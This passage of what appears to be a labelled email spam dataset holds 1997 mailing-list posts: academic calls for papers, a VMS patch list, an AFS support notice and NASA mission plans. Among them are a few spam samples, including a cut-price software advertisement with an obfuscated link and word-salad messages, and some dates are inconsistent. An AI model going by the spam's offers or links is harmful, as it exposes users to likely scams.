Modra, Oresany, Smolenice. By plane - you can take a plane to either Bratislava airport or to Vienna (Schwechat) airport. There is a regular bus connection from Schwechat to Bratislava. >From Bratislava to Smolenice there is a regular bus connection. Accomodation and Meals All participants will be accomodated directly at the Smolenice Castle. All meals will be served at the Smolenice Castle. Presentation For the oral presentation, an overhead projector 25 x 25 cm and a blackboard will be available. The registration fee of the workshop will be appr. DM 390 (USD 270,-). It includes accomodation, meals, coffee breaks, registration, a social event, and a copy of the proceedings to be sent out later. The number of participants is restricted to about 80. This restriction and the type of the conference facility guarantee a good working atmosphere with on-site accommodation and meals and intensive exchange of ideas. ",0,1 Diane Duffrin ,Multiple recipients of list ,"Tue, 07 Oct 1997 18:02:02 -0400",CFP: Technology and the Body,"CALL FOR PAPERS Body Doubling: Technology and the Body in French Literature PAROLES GELEES UCLA French Studies Over the past 16 years, Paroles Gelees has provided graduate students and faculty from around the world a forum in which to publish their scholarly articles. Past issues have included a wide range of articles on French and Francophone literatures and cultures from the Middle Ages to Post-Colonial Studies, as well as interviews with scholars such as René Girard, Jean Baudrillard and Michel Delon. Technology and the Body will be the topic for the next issue of Paroles Gelees, to be published in fall of 1998. This issue seeks papers examining the interplay of technology and constructions of the body in all periods of French literature and culture. * BODIES VIRTUAL & REAL: CYBORG BODIES AND SCIENCE FICTION * TECHNO-EROTICA: SEXUALITY, GENDER AND TECHNOLOGY * THEORIZING BODY & TECHNOLOGY: GILLES DELEUZE, MICHEL FOUCAULT, JEAN BAUDRILLARD * HYSTERICAL BODIES: MEDICAL NARRATIVES OF THE FEMALE BODY IN THE 19TH CENTURY *""L'HOMME MACHINE"": ENLIGHTENMENT MEDICAL TERMINOLOGY & THE BODY * THE MIND-BODY SPLIT: TECHNOLOGY & DUALITY IN DESCARTES, PASCAL * COSMOLOGICAL BODIES: IMAGE & TEXT IN MEDIEVAL CODICES, ETC. Manuscripts are accepted on a year-round basis. Papers submitted for consideration should be limited to approximately 25 typewritten pages and may be written either in French or English. Authors should follow the MLA Style Handbook in preparing their articles and provide three (3) copies of their work with name and affiliation indicated on the cover sheet only. Those authors whose articles are selected for publication will later be asked for a copy on a 3.5"" diskette using Wordperfect 5.1 or MS Word 6.0. Papers received by March 15, 1998, will be considered for this upcoming issue. Please address contributions and inquiries to: Paroles Gelees UCLA Department of French 2326 Murphy Hall Box 951550 Los Angeles, California 90095-1550 gelees@humnet.ucla.edu http://www.humnet.ucla.edu/humnet/parolesgelees/ ",0,1 """Dennis P. Costello, CNF Systems Manager"" ",Cornell Software Consulting For ESL/CSLG ,"Mon, 20 Oct 1997 13:31:52 -0400",October 1997 VAX/VMS ECO CDs are here,"The CDs containing the October collection of VMS ECOs have arrived. Following is the list of goodies. As always, contact me if any of these look interesting or useful. -d --------------------------- Product Name Vers UPI StatusCD Directory DEC Network Integration 3.1 GX7AA NEW 1 [NISFIX-12-031] Server Software DEC Network Integration 4.0 GX7AA 1 [NISFIX-2-040] Server Software DEC SNA 3270 Application 1.2 MKKAA 1 [R3270_E02012] Services DEC/EDI for OpenVMS VAX 2.1D YM1AA 2 [DECEDIMD021] DECdfs for OpenVMS 2.2 VEQAA 1 [DECDFS03_022] DECmessageQ for OpenVMS 3.2B GHVAA 2 [DMQVAXMUPB032] VAX DECmessageQ for OpenVMS 3.2B GKPAA 2 [DMQVAXMUPB032] DECnet SNA Gateway for 2.1 VC9AA 1 [SNACSA_E08021] Channel Transport DECnet-Plus for OpenVMS 6.3 D04AA NEW 1 [DNVOSI_E07063] VAX DECnet-Plus for OpenVMS 7.1 D04AA NEW 2 [DNVOSI_E01071] VAX DECram for OpenVMS 2.2C GJ9AA 2 [DECRAMUC022] DECserver 500/550 for VMS 2.2 03KAA 1 [DS5VMSE01022H] DECserver Network Access 2.0 0LWAA 1 [NAECO04020] Software DECwindows Motif for 1.2-4 XA1AA 1 [VAXMOTF01_ OpenVMS U4012] DIGITAL ACMS Desktop 2.3 GZGAA NEW 1 [ADIVME0123] DIGITAL ACMS Desktop 2.3 GZGAA NEW 1 [ADIVME0223] DIGITAL Office Server for 3.1 AAAAA 1 [A1ADA_ OpenVMS Alpha and OpenVMS ECO01031] VAX DIGITAL PATHWORKS for 1.0D 0ENAA 1 [PWRKV50D_ OpenVMS (NetWare) E03050] DIGITAL PATHWORKS for 4.2 A93AA 1 [PCSA_E09042] OpenVMS DIGITAL PATHWORKS for 5.0D A93AA 1 [PWRKV50D_ OpenVMS E03050] DIGITAL PATHWORKS for 5.0E A93AA 1 [PWRKV50E_ OpenVMS E01050] DIGITAL SNA Domain 2.0 MKHAA 2 [SNAPU5_ Gateway VE02020] Digital SNA 3270 1.2 MKJAA 1 [R3270_E02012] Application Services Digital SNA 3270 Data 1.5 363AA 1 [SNA3270_ Stream Programming E01015] Interface for OpenVMS Digital SNA 3270 Terminal 1.6 454AA 1 [SNATE_E02016] Emulator for OpenVMS Digital SNA APPC/LU6.2 2.3 022AA 1 [SNALU62_ Programming Interface for E01023] OpenVMS Digital SNA Data Transfer 3.2 VEBAA 1 [SNADTFS_ Facility for OpenVMS E03032] Digital SNA Data Transfer 3.2 VEKAA 1 [SNADTFU_ Facility for OpenVMS E03032] Digital SNA Printer 1.3 044AA 1 [SNAPRE_E01013] Emulator for OpenVMS Digital SNA Remote Job 1.5 453AA 1 [SNARJE_E02015] Entry for OpenVMS Digital TCP/IP Services 3.3 VHRAA 1 [UCXAV_E13033] for OpenVMS Digital TCP/IP Services 4.0 VHRAA 1 [UCXVAX_E5040] for OpenVMS Digital TCP/IP Services 4.1 VHRAA 1 [UCXVAX_E06041] for OpenVMS Digital TCP/IP Services 4.1A VHRAA 2 [UCXVAX_MA041] for OpenVMS Hierarchical Storage 2.0A 0NXAA 2 [HSMMA020] Management for OpenVMS MAILbus 400 Message 1.2 342AA 1 [XMR01012] Router Gateway for openVMS OpenVMS VAX Operating 5.0 001AA 1 [VAXLIBR01_050] System OpenVMS VAX Operating 5.1 001AA 1 [VAXLIBR01_051] System OpenVMS VAX Operating 5.2 001AA 1 [VAXLIBR01_052] System OpenVMS VAX Operating 5.3 001AA 1 [VAXLIBR01_053] System OpenVMS VAX Operating 5.4 001AA 1 [VAXLIBR01_054] System OpenVMS VAX Operating 5.5-2 001AA 1 [VAXDRIV11_U2055] System OpenVMS VAX Operating 5.5-2 001AA 1 [VAXF11X05_U2055] System OpenVMS VAX Operating 5.5-2 001AA 1 [VAXLAVC01_ System 2H4055] OpenVMS VAX Operating 5.5-2 001AA 1 [VAXSHAD12_ System U2055] OpenVMS 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System 2.8C YE8AA 1 [SLSE01A028] for OpenVMS TeamLinks Mail for 2.5 YX1AA 1 [TLM0225] Macintosh VAX Distributed Name 2.1 VERAA 1 [DECDNSECO02070] Service VAX FMS 2.4 VD7AA 1 [FMSVAXECO03024] VAX FMS 2.4 VD8AA 1 [FMSVAXECO03024] VMS Online Documentation 2.0 VYR8A 1 [ALPCDDOCMAR97] Library ",0,0 pbergero@aei.ca,Multiple recipients of list ,"Thu, 30 Oct 1997 15:22:37 -0500",Re: Call for papers (un forward pour Hillidje),">Call for Papers > >UNIVERSITY OF MINNESOTA >SECOND ANNUAL GRADUATE SYMPOSIUM IN ROMANCE STUDIES >APRIL 18, 1998 > >LITERARY AND CULTURAL LEGACIES:AN INTERDISCIPLINARY FORUM > >This year's Symposium will address questions concerning the ways in which >people relate to their cultural, literary, and linguistic heritage. >Possible topics include but are not limited to: > > > Canon Formation/Disintegration > Literature and Mass Media > Colonization >National and Regional Identity >Genealogies >Role of the Intellectual in Society > High Culture vs. Popular Culture > Sociolinguistics > Historiography >Status of Non-Fiction in the Academy > >We request that you submit an anonymous abstract of 500 words in English, >accompanied by a 3x5 index card with the following information: title of >paper, name, academic affiliation, address, telephone number, and e-mail >address. NOTE: Papers must be written in English. Please translate quotes >within the paper itself or in a hand-out. > >DEADLINE FOR SUBMISSIONS: JANUARY 15, 1998 >Completed papers should arrive no later than March 15, 1998. Reading time >of papers will be limited to 20 minutes. >Send abstracts to: Graduate Symposium, Department of French and Italian, 9 >Pleasant Avenue, University of Minnesota, Minneapolis, MN 55455 OR Graduate >Symposium, Department of Spanish and Portuguese, 9 Pleasant Avenue, >University of Minnesota, Minneapolis, MN 55455. ",0,0 Sanguthevar Rajasekaran ,THEORYNT@LISTSERV.NODAK.EDU,"Sun, 02 Nov 1997 22:08:00 -0800",Third Workshop on Randomized Parallel Computing," C A L L F O R P A P E R S __________________________________________________ THIRD WORKSHOP ON RANDOMIZED PARALLEL COMPUTING __________________________________________________ March 30 -- April 3, 1998 ORLANDO, FL sponsored by the IEEE Computer Society Technical Committee on Parallel Processing Randomization has played a vital role in the domains of both sequential and parallel computing in the past two decades. This workshop is a forum for bringing together both theoreticians and practitioners who employ randomized techniques in parallel computing. Topics include but are not limted to: .Network Algorithms .PRAM Algorithms .Architectures .I/O Systems .Scheduling .Network Fault Tolerance .Reconfigurable Networks .Optical Networks .Various Applications .Programming models and languages .Implementation Experience Papers of an experimental nature (describing implementation results) are especially sought. Authors are invited to submit previously unpublished original papers (that will not be submitted elsewhere) reflecting their current research results. All submitted papers will be refereed for quality and originality. Accepted papers will appear in the workshop proceedings to be published by SPRINGER-VERLAG. We expect to have many internationally reputed invited speakers. Invited papers and selected contributed papers will appear in a book to be published by KLUWER ACADEMIC PRESS. CONFIRMED INVITED TALKS (this list will grow): Danny Krizanc, Carleton University, Randomization and Parallelism in Comparison Problems: A Survey Jean-Claude Latombe, Stanford University, Capturing the connectivity of high-dimensional geometric spaces by parallelizable random probing techniques S. Muthukrishnan, Bell Labs., Parallel Randomized String Matching Lata Narayanan, Concordia University, Randomized Algorithms on the mesh Rajeev Raman, King's College, London, Random Sampling Techniques (tentative) Bala Ravikumar, Univ. of Rhode Island Assaf Schuster, Technion University, (title to be announced) Torsten Suel, Bell Laboratories, (title to be announced) Peter J. Varman, Rice University (title to be announced) David Wei, Fordham University, (title to be announced) Authors are requested to send their papers (in postscript format) electronically to raj@cise.ufl.edu. Those who are unable to send electronic versions can submit six copies of their manuscripts to S. Rajasekaran, Dept. of CISE, 301 CSE Building, Univ. of Florida, Gainesville, FL 32611, USA. The due date for submissions is December 20. Late submissions run the risk of rejection without consideration of merits. Each manuscript should be of length no more than 12 double-spaced single sided pages using 12 point type. The workshop will be held in conjunction with the International Parallel Processing Symposium to be held from March 30 through April 3, 1998 in Orlando, FL. For more information check the Web using the URLs: http://www.ippsxx.org http://www.cise.ufl.edu/~raj/WPRC98.html Workshop Chairs: Panos Pardalos, U of Florida Sanguthevar Rajasekaran, U of Florida Program Committee Pankaj K. Agarwal, Duke U Susanne Albers, Max-Planck Institute Sandeep N. Bhatt, Bellcore Frank Hsu, Fordham U Oscar Ibarra, U of California, SB Tom Leighton, MIT Bruce Maggs, CMU Michael A. Palis, Rutgers U Panos Pardalos, U of Florida Greg Plaxton, U of Texas Sanguthevar Rajasekaran, U of Florida Abhiram Ranade, IIT Bombay Sartaj Sahni, U of Florida Paul Spirakis, U of Patras Important Dates: Submissions Due: December 20, 1997 Notification: January 20, 1998 Camera Ready Manuscripts Due: January 25, 1998 ************************************************************************** ",0,1 Kathleen_Rizzuti@transarc.com,AFS_Contacts@transarc.com,"Tue, 04 Nov 1997 15:10:17 -0500",AFS update on HP-UX 10.x systems,"Dear AFS Contacts -- I am writing to update you regarding several AFS problems that are being worked jointly by Transarc and HP. There are currently three outstanding issues that are related to the ""kload"" program which HP has distributed in the past. The issues are: 1) HP discontinued support for ""kload"" in Q1 '97. The HP-UX DFS 1.5.1 release does not include a ""kload"" program. However, the HP-UX DFS 1.5.1 Release Notes state that customers who need to dynamically load AFS with DFS 1.5.1 should contact Transarc to obtain a new version of ""kload"". This information is unfortunately incorrect. Transarc does not support or maintain a new version of HP's ""kload"" program and there are no plans to do so. 2) AFS 3.4a (patch level 5.28 and lower) and DFS (all versions) cannot be built into the kernel simultaneously because of symbol conflicts. Transarc has fixed the symbol conflict problem and a patch will be included in the upcoming patches release (Q4 '97 - official date to be announced). For your reference, the corresponding defect number for this patch is 8824 and it was imported into the 5.33 build of AFS 3.4a. 3) HP-UX 10.20 patches PHKL_9273 and PHKL_9274 for HP700 and HP800 systems (and any HP patches that would supercede these) are incompatible with dynamic loading of AFS using ""kload"". IMPORTANT NOTICE FOLLOWS: ========================= We regret we must announce that effective immediately, dynamic loading of AFS on HP-UX 10.x will no longer be supported by Transarc. This is a result of HP's decision to no longer distribute and support ""kload"" and Transarc's determination that there is not a suitable workaround other than to discontinue support for dynamic loading on HP-UX 10.x. Therefore, Transarc will only support AFS on HP-UX 10.x systems if AFS has been statically built into the kernel. For customers who currently need to install HP DFS 1.5.1 (before the AFS patch release is available), please contact AFS Customer Support for an early release of the patch which resolves the symbol conflicts. As always, please contact AFS Customer Support at or 412-281-5852 if there are questions. Kathy Rizzuti Area Manager, Customer Support Transarc Corporation (412) 338-4385 kar@transarc.com",0,0 """Vinaigrette M. Brunt"" ",Margie ,"Mon, 10 Nov 1997 21:18:19 -0500",Software,"Why pay big bucks? Create your OWN website now! Corel draw! just at best price New software on our site: Project 2003 Professional - $69.95 Project 2003 Professional - $69.95 Photoshop CS with ImageReady CS - $99.95 FreeHand MX - $69.95 Photoshop 7 - $69.95 Visio 2003 Professional - $69.95 Premiere 7 - $69.95 Photoshop Elements 3.0 Windows - $59.95 CorelDraw Graphics Suite 11 - $59.95 Freehand MX 11 - $69.95 Norton System Works 2003 - $59.95 Studio MX 2004 with Director MX 2004 - $139.95 Office 2000 Premium Edition PE (2CD) - $59.95 Money 2004 - $69.95 Our site: http://3arsqx949s9ymllg83lyq3ll.tertialmb.com/ ",1,1 Sargent ,stacy@orion.sas.upenn.edu,"Tue, 11 Nov 1997 16:51:40 -0500",This diet plan is over the roof,"not imprimatur , beautiful and grief on cataclysm and thallophyte ",1,0 Tsan-Sheng Hsu ,THEORYNT@LISTSERV.NODAK.EDU,"Wed, 12 Nov 1997 19:49:47 -0800",COCOON'98: Call for papers," Second Call For Papers---COCOON'98 Fourth Annual International Computing and Combinatorics Conference August 12-14, 1997, Taipei, Taiwan, ROC http://www.iis.sinica.edu.tw/cocoon98 In cooperation with Institute of Information Science, Academia Sinica, Taipei, Taiwan, ROC This conference is intended to provide a forum for researchers in theoretical computer science, combinatorics related to computing, and experimental analysis of algorithms. Typical, but not exclusive, topics of interest include: - algorithms and data structures - complexity, automata, languages, logic, and computability - computational algebra, biology, geometry, learning theory, and number theory - cryptography, fault-tolerance, parallel and distributed computing - combinatorics related to algorithms and complexity - graph theory and switching networks - experimental analysis of algorithms Submissions to the conference this year will ONLY be conducted electronically. Authors should submit a standard PostScript file containing an extended abstract either by an e-mail to cocoon98@iis.sinica.edu.tw or through our web pages at http://www.iis.sinica.edu.tw/cocoon98. Instructions are in our web pages and can also be obtained by sending an e-mail to cocoon98@iis.sinica.edu.tw with the subject HELP. Original research papers are solicited. In addition to theoretical results, we are particularly interested in submissions which report on experimental and applied research of theoretical interest. Special consideration will be given to work that is motivated by real-world problems. Experimental and applied papers are expected to show convincingly the usefulness and efficiency of the algorithms discussed in a practical setting. A PostScript file of submission must be received by February 10, 1998. A submission should start with the title of the paper, author(s)' name, affiliation and e-mail address, and a short summary of the main results of the paper. This should be followed by a scholarly exposition of the ideas, techniques, and a full description of the results achieved. A clear indication of the motivation and comparison with prior or related work should be presented. The paper should not exceed 10 pages using 11 point or larger font. Submissions that deviate significantly from these guidelines and PostScript submissions that are unprintable or formatted for paper size other than 8.5 x 11 inch paper risk rejection without consideration of their merits. Authors will be notified of acceptance or rejection by April 10, 1998. A camera-ready copy of each accepted paper is required by May 20, 1998. The proceedings of the conference will be published by Springer-Verlag in the Lecture Notes in Computer Science series, and will be available for distribution at the conference. The Hao Wang Award will be given for the second time to the paper judged by the program committee to have the best scientific merit. The program committee may decline to make the award, or may split it among several papers. Program Committee: Dana Angluin (Yale U., USA), Ricardo Baeza-Yates (U. Chile, Chile), Allan Borodin (U. Toronto, Canada), Francis Chin (U. Hong Kong, Hong Kong), Anne Condon (U. Wisconsin, USA), Joan Feigenbaum (AT&T Labs, USA), Mordecai J. Golin (U. Science and Technology, Hong Kong), Xin He (SUNY Buffalo, USA), Jan-Ming Ho (Academia Sinica, ROC), Michael Houle (U. Newcastle, Australia), Wen-Lian Hsu (Academia Sinica, ROC, co-chair), Xiaodong Hu (Academy of Science, PRC), Frank Hwang (Chiao Tung U., ROC), Toshihide Ibaraki (Kyoto U., Japan), Hiroshi Imai (Tokyo U., Tokyo), Ravi Janardan: (U. Minnesota, USA), Ming-Yang Kao (Yale U., USA, co-chair), Philip Klein (Brown U., USA), Andrzej Lingas (Lund U., Sweden), Richard J. Lipton (Princeton U., USA), Rolf Moehring (Technische Universitaet Berlin, Germany), Maurice Nivat (U. Paris, France), Sartaj Sahni (U. Florida, USA), Uwe Schoning (Universitaet Ulm, Germany), Paul Spirakis (U. Patras, Greece), Tandy Warnow (U. Pennsylvania, USA) and Louxin Zhang (U. Singapore, Singapore). Organizing Committee: Wen-Lian Hsu (Academia Sinica, Taiwan, hsu@iis.sinica.edu.tw) and Ming-Tat Ko (Academia Sinica, Taiwan, mtko@iis.sinica.edu.tw) Sponsors: Academia Sinica, National Science Council of ROC, Institute of Information and Computing Machinery (IICM) and ACM Taipei/Taiwan Chapter. ",0,1 """Prof. Sue WHITESIDES"" ",THEORYNT@LISTSERV.NODAK.EDU,"Fri, 14 Nov 1997 00:05:39 -0800",GRAPH DRAWING '98 (1st CFP)," 1st Call for PAPERS, DEMOS and POSTERS GRAPH DRAWING '98 McGill University, Montreal, Canada August 13-15, 1998 URL: http://gd98.cs.mcgill.ca email: info@gd98.cs.mcgill.ca Graph Drawing '98 (GD '98) will be held at McGill University, Montreal, Canada, August 13 - 15, 1998. The symposium is a forum for researchers, practitioners, developers and users working on all aspects of graph drawing. Continuing the tradition of GD '97 (Rome), GD '96 (Berkeley), GD '95 (Passau), and GD '94 (Princeton), the proceedings of GD '98 will be published in the Springer-Verlag Lecture Notes in Computer Science series. GD '98 follows the 10th Canadian Conference on Computational Geometry, August 10-12, 1998, held at McGill University. See http://cgm.cs.mcgill.ca/cccg98. Scope: Graph drawing studies the construction of visualizations and layouts of abstract graphs and networks. The automatic generation of drawings of graphs has important applications in key areas such as databases, software engineering, VLSI, networks, and visual interfaces as well as in fields outside computer science. The range of issues considered in graph drawing includes algorithms, graph theory, geometry, order theory, graphic languages, perception, applications and practical systems. Much research in graph drawing is motivated by applications to systems for viewing and interacting with graphs. The interaction between theoretical advances and implemented solutions is an important part of the graph drawing field. Results on perception and visualization issues related to diagrams are relevant. Call for Papers: Papers describing original research and surveys are being sought. Topics of interest include, but are not limited to: * Algorithms, models, and techniques for drawing graphs. * Applications of graph drawing to areas such as software visualization, user interface design and database query formulation. * Concepts for visualizations of structural information. * Research on perception issues related to diagram understanding. * Tools and systems for graph drawing. * Geometric and topological graph theory. Call for Demos: Submissions of demos are solicited. Areas of interest include, but are not limited to: * Visualization of graphs. * Novel graph-based software visualization and software engineering applications. * Database visualization with graphs and hypergraphs. * Programming environments for graphs and their layouts. * Algorithm animation with graphs. * User interfaces for viewing graphs, e.g., interactive exploration of large graphs, presentation of dynamic graphs. Call for Posters: Submissions of posters in graph drawing and related areas are solicited. The purpose is to provide a forum for the communication of results (which may appear elsewhere) to the graph drawing community. Graph Drawing Contest: Following the tradition of previous conferences, a graph drawing contest will be held. Details will be given in a later call for papers and at the web site. Special Issue: A special issue of the electronic Journal of Graph Algorithms and Applications will be devoted to papers presented at GD '98. Both theoretical and applied papers that in electronic form contain interactive appendices with running demos or proof animations or hyperlinks to useful references are encouraged. Details will be given in a later call for papers and at the web site. Program Committee: Chair: Sue Whitesides (McGill Univ.) Franz Brandenburg (Univ. Passau), Peter Eades (Univ. Newcastle, Australia), Emden Gansner (AT&T Labs), Michael Kaufmann (Univ. Tuebingen), Giuseppe Liotta (Univ. Rome), Anna Lubiw (Univ. Waterloo), Shin-ichi Nakano (Tohoku Univ.), Janos Pach (CUNY & NYU), Roberto Tamassia (Brown Univ.), Ioannis Tollis (Univ. Texas at Dallas), Dorothea Wagner (Univ. Konstanz) Demos: Brendan Madden (Tom Sawyer Software), Joe Marks (MERL), plus members of the program committee Organizing Committee: Therese Biedl (McGill Univ.), Prosenjit Bose (Carleton Univ.), Francois Labelle (McGill Univ.), Sylvain Lazard (McGill Univ.), Giuseppe Liotta (Univ. Rome), Steve Robbins (McGill Univ.), Sue Whitesides (McGill Univ., chair) Submission: The program committee invites submissions of papers (6 - 12 page extended abstract), demos (2 - 6 page abstract, plus descriptive screen dumps, a list of hardware needed, and optional 7 copies of VHS NTSC videos), and posters (1 page abstract). Submissions by email (in postscript or plain text) should be sent to submit@gd98.cs.mcgill.ca. A description of the electronic submission process will be made available at the above web site. Unprintable postscript and submissions not formatted for 8.5�11 inch paper risk rejection. Hard copies (12 copies) should be sent to Sue Whitesides School of Computer Science, McGill University 3480 University Street #318 Montreal, Quebec H3A 2A7, Canada Important dates: Submissions: May 1, 1998 Notification: June 15, 1998 Final version due: August 15, 1998 ",0,1 Mecham ,khealey@sas.upenn.edu,"Fri, 14 Nov 1997 07:22:46 -0500",body fat troubling you?,"! plop on duff the moneywort ! brimstone some rotarian ",1,0 Patricia Demeo ,Multiple recipients of list ,"Mon, 17 Nov 1997 19:11:18 -0500",International Colloquium," INTERNATIONAL COLLOQUIUM ON CONTEMPORARY FRENCH LITERATURE IN THE 1990'S * * * * DALHOUSIE UNIVERSITY 24-25 September 1998 * proposals of 150 words by, if possible, 15 March 1998 * all papers : 20 minutes * papers may be in English or French * lunches provided by Dalhousie University * details of available accommodations provided later * no registration fee * for further details or submission of proposals, please write to: Michael Bishop Department of French Dalhousie University Halifax, Nova Scotia Canada B3H 3J5 (902) 494-1720 (tel) (902) 494-1626 (fax) ",0,0 """Alan L. Kiplinger"" ",solcoord-send@proton.sel.noaa.gov,"Tue, 18 Nov 1997 11:26:32 -0700",SERTS launch and SPARTAN 201-4 Lauch,"The following two reports contain moderately detailed information on the SERTS rocket flight scheduled for 18 Nov., 1997 and the SPARTAN 201-4 mission that is scheduled for launch on 19 Nov. 1997. The complete reports as received are posted under ""Current_Plans"" on the SOLCOORD home page at: http://www.sec.noaa.gov/solcoord/solcoord.html They can ALSO be retrieved via email by sending the messages get solcoord spartan97.doc get solcoord serts97b.doc to the address : majordomo@sel.noaa.gov ******************************************************************** SERTS Rocket Flight - set for launch on 18 Nov. 1997 Date: Wed, 12 Nov 1997 16:37:59 -0500 From: ""Roger J. Thomas, NASA/GSFC"" Subject: SERTS-97 Flight The SERTS rocket experiment will be flown again from White Sands Missile Range on Tuesday, 1997 November 18, with a 15-minute launch window starting at 1935UT (chosen to allow SERTS observations while Yohkoh was in sunlight, and within 1 hour of local solar noon at White Sands M.R.). A primary objective for this flight will be to provide radiometric and wavelength calibrations for several instruments aboard the SOHO satellite mission, as described below. SERTS-97 OBJECTIVES FOR SOHO: -------------------------- 1. CDS radiometric and wavelength cross-calibration using the SERTS rocket. 2. EIT and CELIAS/SEM radiometric cross-calibration. 3. Determination of EIT 304A channel spectral composition. DESCRIPTION OF THE SERTS-97 EXPERIMENT: --------------------------------------- The GSFC Solar EUV Rocket Telescope and Spectrograph (SERTS) is scheduled for flight on 1997 November 18, with a principal objective of providing radiometric and wavelength calibrations for several experiments on the Solar and Heliospheric Observatory (SOHO) satellite mission. SERTS provides imaged EUV spectra and spectroheliograms of selected areas on the sun. For the '97 flight, it will be configured to observe the wavelength interval 298-355A with an intensified CCD detector and multilayer-coated grating. It will simultaneously record high resolution spectra over a spatial area of 7x360arcsec, and spectroheliograms of two regions 3x8.5arcmin in size. An end-to-end radiometric calibration of the rocket instrument was carried out at Rutherford-Appleton Lab in the same facility used to characterize the CDS experiment on SOHO, and using the same EUV light source recently re-calibrated by PTB against the BESSY synchrotron. The payload will also include a full-sun EUV monitor provided by the University of Southern California. This device was recently calibrated at the NIST SURF-II synchrotron, and is equivalent to the middle channel of the CELIAS/SEM instrument now flying aboard SOHO. Its measurements will provide a direct update to the radiometric calibration of CELIAS, and a check on the atmospheric extinction models used for correcting the primary SERTS data. Operating Details: ------------------ Detailed observing plans are being developed. Following are some preliminary considerations for various instruments involved in this project. SERTS: Launch is scheduled for 1935UT on 1997 Nov 18, with a window of 15 min. This allows SERTS observations within 1-hour of local solar noon at WSMR, while YOHKOH is also in sunlight. Observations of Target 1 occur from T+102sec to T+165sec. The rocket then slews to the second pointing position, and observations of Target 2 occur from T+170sec to T+500sec. The baseline objective for Target 2 is an active region near disk center (if available), with Target 1 positioned so that this active region falls within one of the SERTS lobes. The slit will most likely be aligned to the solar rotation axis with a pointing accuracy of +-10arcsec in X,Y and +-5deg in roll. CDS: Sixteen 25-pixel windows will be observed with the NIS, using the 4x240arcsec slit and 30s exposures. The number of observed CDS windows is limited by the telemetry rate and need to have measurements co-temporal with the brief SERTS flight. To assure FOV overlap, 30 raster steps of 4-arcsec each will be made covering a total area of 120x240arcsec centered on Target 2. The observed lines include: He II 304, Mg VIII 315, Si VIII 316, Si VIII 320, Fe XV 327, Cr XIII 328, Al X 332, Fe XIV 334, Fe XVI 335, Fe XII 338, Mg VIII 339, Fe XI 341, Si IX 342, Si IX 345, Si X 347, Si IX 350, Fe XII 352, Fe XI 353, and Fe XIV 354. (He II 304 is seen by NIS2 in second order.) This full sequence takes approximately 500sec; it will be run at least 3 times: before, during, and after the SERTS flight. EIT: Full disk images will be used before the SERTS flight for targeting, and after the flight for context information. During the flight, emphasis will be on the target regions and in particular on Target 2. MDI: Magnetograms will be made of the SERTS target fields during the flight. The high-resolution mode will be used if selected SERTS targets overlap the MDI-HR field of view. CELIAS: Measurements will be made of the integrated 304A solar flux during the flight with the Solar Extreme Ultraviolet Monitor. We invite ALL observers to participate with collaborative observations. Spectroscopic data obtained during the SERTS flight will be provided for collaborative work upon request. Dr. Joseph Davila & Dr. Roger J. Thomas ******************************************************************************** SPARTAN 201 EXPERIMENT ON SHUTTLE MISSION STS-87 Launch date 19 November 1997 Date: Thu, 13 Nov 1997 22:08:02 -0500 From: Leonard Strachan SPARTAN 201 is making its fourth flight this time on the shuttle Columbia (Mission STS-87) which is scheduled to launch on 19 November 1997. The payload for SPARTAN Mission 201-4 consists of a White Light Coronagraph (WLC) provided by NASA/Goddard Space Flight Center and an Ultraviolet Coronal Spectrometer (UVCS) provided by the Smithsonian Astrophysical Observatory. SPARTAN 201, which is deployed and retrieved by the space shuttle is expected to carry out 43 hours of solar coronal observations. The SPARTAN 201 will be carried into orbit by the space shuttle on Mission STS-87 which has a launch date scheduled for 19 November 1997, 19:46 UT. SP201 will be deployed on 20 November 21:01 UT and retrieved on 22 November 15:15 UT. The duration of the SPARTAN flight is almost two days (43.5 hours). Deployment is planned to occur at 1 day, 1 hr., 15 min. after launch, or at 21:01 UT on 20 November, for an ontime launch.Primary targets are the north polar hole and the streamer belt surrounding the polar coronal holes. The primary goal of the SPARTAN 201-4 mission is to study the physical properties of the corona and to update the absolute radiometric calibrations for two of the coronagraphs on the current ESA/NASA Solar and Heliospheric Observatory (SOHO) spacecraft. Intercalibration observations are planned for SOHO/UVCS and SOHO/LASCO. The SPARTAN instruments are designed to characterize the plasma conditions of the extended corona by determining values for electron densities; proton thermal and nonthermal random velocity distributions, densities, and bulk flow velocities. Densities and outflow velocities of O5+ and Fe11+ can be determined as well. The White Light Coronagraph determines the distributions of electron density from polarized radiance and absolute radiance observations of closed and open magnetic structures between 1.25 and 6 solar radii from sun center. The WLC is the most recent version of the space-borne externally occulted Lyot coronagraph, whose predecessors include experiments flown by HAO on balloons, the Skylab Apollo Telescope Mount, sounding rockets, and the Solar Maximum Mission. WLC uses a rotating half-wave plate, a linear polarizer, a serrated occulting disk for occulting the disk at 1.25 solar radius, and a linear, wide dynamic range detector CCD camera to measure the intensity and polarization of broad band visible coronal radiation. Observations out to 6 solar radii from sun-center will be obtained within a sector of 60 degrees in width centered on the UVC radial scan capability. The Ultraviolet Coronal Spectrometer will measure profiles and intensities of H I Ly-alpha and intensities of O VI 1032/1037 and Fe XII 1242 at heliocentric heights from 1.25 to 3.5 solar radii from sun center. Coordinates for the targets will be announced 28 hours before deployment. Updates of the coordinates may be issued at 12 and possibly 8 hours prior to deployment. Once deployed, SPARTAN automatically executes the pre-programmed maneuvers on each target. The current primary targets for this flight are the north polar hole and streamers on the east and west limbs. The location of the fourth target will probably be in the south coronal hole. Space-based observations from instruments on SOHO and Yohkoh will be used to identify transient activity as late as 8 hours prior to deployment. Additional supporting observations: Prominence monitors, coronagraphs, and interplanetary scintillation arrays can provide useful correlative measurements of temperature, density and velocity diagnostics of the lower and upper corona. In particular, synoptic observations of coronal and photospheric/chromospheric features FOR ONE WEEK BEFORE AND AFTER the flight will be very useful in determining the three dimensional structure of the coronal features. Magnetic and H-alpha observations are useful in determining large-scale magnetic field patterns. During the first flight, the WLC observed several polar plumes/rays in both the south and the north polar coronal holes extending all the way to 6 solar radii. Disk or limb observations that aid in identifying the origins of such rays would be extremely useful. Ca K-line observations of network features are valuable as well. For the first three flights, collaborative observations included those from Yohkoh, Mauna Loa Solar Observatory, the National Solar Observatories, the Very Large Array radio telescope, the EISCAT observatory, and other ground based observatories. Now that SOHO is in operation, coordinated observations are planned for several of the solar and coronal instruments. World-wide participation will help provide 24 hour/day collaborative observations for the upcoming mission. With simultaneous, multiwavelength observations, we hope to obtain as complete as possible a description of the coronal regions where coronal heating and acceleration of the solar wind is believed to take place. A tentative timeline showing actual times and true position angles will be made available on 18 November 1997, two days prior to the SPARTAN deployment. A FINAL timeline of the SPARTAN observations will be sent out with minor changes on the day of SPARTAN deployment. A STRAWMAN TIMELINE FOR UVCS/SPARTAN 